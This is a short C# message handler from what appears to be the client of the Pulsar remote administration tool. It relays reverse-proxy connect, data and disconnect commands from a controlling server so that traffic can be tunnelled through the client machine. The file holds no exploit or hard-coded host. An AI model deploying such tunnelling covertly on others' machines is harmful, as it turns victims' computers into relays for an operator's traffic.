using Pulsar.Client.Networking; using Pulsar.Client.ReverseProxy; using Pulsar.Common.Messages; using Pulsar.Common.Messages.Administration.ReverseProxy; using Pulsar.Common.Messages.Other; using Pulsar.Common.Networking; namespace Pulsar.Client.Messages { public class ReverseProxyHandler : IMessageProcessor { private readonly PulsarClient _client; public ReverseProxyHandler(PulsarClient client) { _client = client; } public bool CanExecute(IMessage message) => message is ReverseProxyConnect || message is ReverseProxyData || message is ReverseProxyDisconnect; public bool CanExecuteFrom(ISender sender) => true; public void Execute(ISender sender, IMessage message) { switch (message) { case ReverseProxyConnect msg: Execute(sender, msg); break; case ReverseProxyData msg: Execute(sender, msg); break; case ReverseProxyDisconnect msg: Execute(sender, msg); break; } } private void Execute(ISender client, ReverseProxyConnect message) { _client.ConnectReverseProxy(message); } private void Execute(ISender client, ReverseProxyData message) { ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); proxyClient?.SendToTargetServer(message.Data); } private void Execute(ISender client, ReverseProxyDisconnect message) { ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); socksClient?.Disconnect(); } } }